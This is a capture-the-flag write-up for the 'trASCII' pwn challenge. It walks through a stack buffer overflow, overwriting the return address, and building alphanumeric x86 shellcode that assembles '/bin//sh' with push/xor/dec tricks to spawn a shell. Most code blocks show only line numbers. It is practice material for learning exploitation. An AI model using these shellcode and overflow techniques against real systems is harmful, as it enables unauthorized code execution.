trASCII (450pt)
Description
Author: trashcanna @annatea16
Attachment
Analysis
the program can convert our input into the format of %c%d
:
1 | % ./trASCII |
ABCDDEEFF
->A1B1C1D2E2F2
allowed char in our input (from 0
to z
):
Code
1
2
3
4 0123456789:;<=>?@AB
CDEFGHIJKLMNOPQRSTU
VWXYZ[\]^_`abcdefgh
ijklmnopqrstuvwxyz
buffer overflow
1 | char s[72]; // [esp+10h] [ebp-48h] |
The destination buffer(72 bytes) of sprintf(&s[v0], "%d", cnt)
is in stack and it will be overflowed while the length of convert result of trash
is long enough.
Then the return address will be overwritten by the convert result of trash
executable trash
Well… the trash
in this binary in not recyclable but executable…
and some address in trash
,for example 0x50315934
, can be converted to ascii:
1 | In [1]: from pwn import * |
so we can design ascii shellcode in trash
and ret2trash by bof
Solution
ret2trash
Our goal is overwriting return address with 4W1P
,so first of all, we should get the offset of bof.
generate trash by cyclic(2000)
:
1 | cyclic 2000 |
send it to the program in gdb
and watch the return address:
1 | 0x80493ce <compact+508> pop ebp |
0x31753361 -> a3u1
we can find the offset by searching
aaau
from trash
Now the return address is overwritten to a3u1
, but our goal is 4W1P
.
So we should make sure that the first char of return address is a digit, not a letter.
the trash should be:
1 | off_ret = '0000000000'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasXXXXWP' |
…a3s1X4W1P1
send it and watch return address again:
0x50315734 -> 4W1P
No problem! We can puts shellcode into trash+1300
now.
ascii shellcode
Use the same method to get the offset of base address of shellcode:
1 | off_shellcode = |
Designing ascii shellcode was a long but interesting process…
Reference: Hacking/Shellcode/Alphanumeric/x86 printable opcodes
Some useful ascii shellcode are as follows:
1 | # h4W1P - push 0x50315734 # + pop eax -> set eax |
And my ascii shellcode is as follows:
1 | # shellcode |
I don’t want to explain all the shellcode… you can analyze them by disasm()
1 | In [1]: from pwn import * |
see details about string generation by ascii shellcode.
getshell
Finally call sys_execve("/bin/sh")
to getshell
More
You can download full exp from my github
Some techniques
There are some techniques about generating string by ascii shellcode:
Ascii shellcode for generating string is as follows:
opcode(in ascii) | assembly instructions |
---|---|
hxxxx | push xxxx |
5xxxx | xor eax, xxxx |
X | pop eax |
H | dec eax |
Example
Example1: generating ‘/bin
‘
- List a table of string generated by XOR
target | 1 | b | i | n |
---|---|---|---|---|
tmp1 | 1 | b | 1 | 1 |
tmp2 | b | 1 | i | 1 |
tmp3 | b | 1 | 1 | n |
- set
eax
to1bin
with ascii shellcode
ascii | instructions |
---|---|
h1b11 | push 0x31316231 |
X | pop eax |
5b1i1 | xor eax, 0x31693162 |
5b11n | xor eax, 0x6e313162 |
generate
/bin
from1bin
Code1
2
3; eax = 1bin
dec eax ; eax = 0bin
dec eax ; eax = /bin
Example2: generating ‘//sh
‘
- List a table of string generated by XOR
target | / | / | s | h |
---|---|---|---|---|
tmp1 | 1 | w | 1 | P |
tmp2 | w | 1 | A | 1 |
tmp3 | 1 | X | 1 | 8 |
tmp4 | X | 1 | 2 | 1 |
- set
eax
to//sh
with ascii shellcode
ascii | instructions |
---|---|
h1w11 | push 0x31317731 |
X | pop eax |
5w1A1 | xor eax, 0x31413177 |
51X2P | xor eax, 0x50325831 |
5X118 | xor eax, 0x38313158 |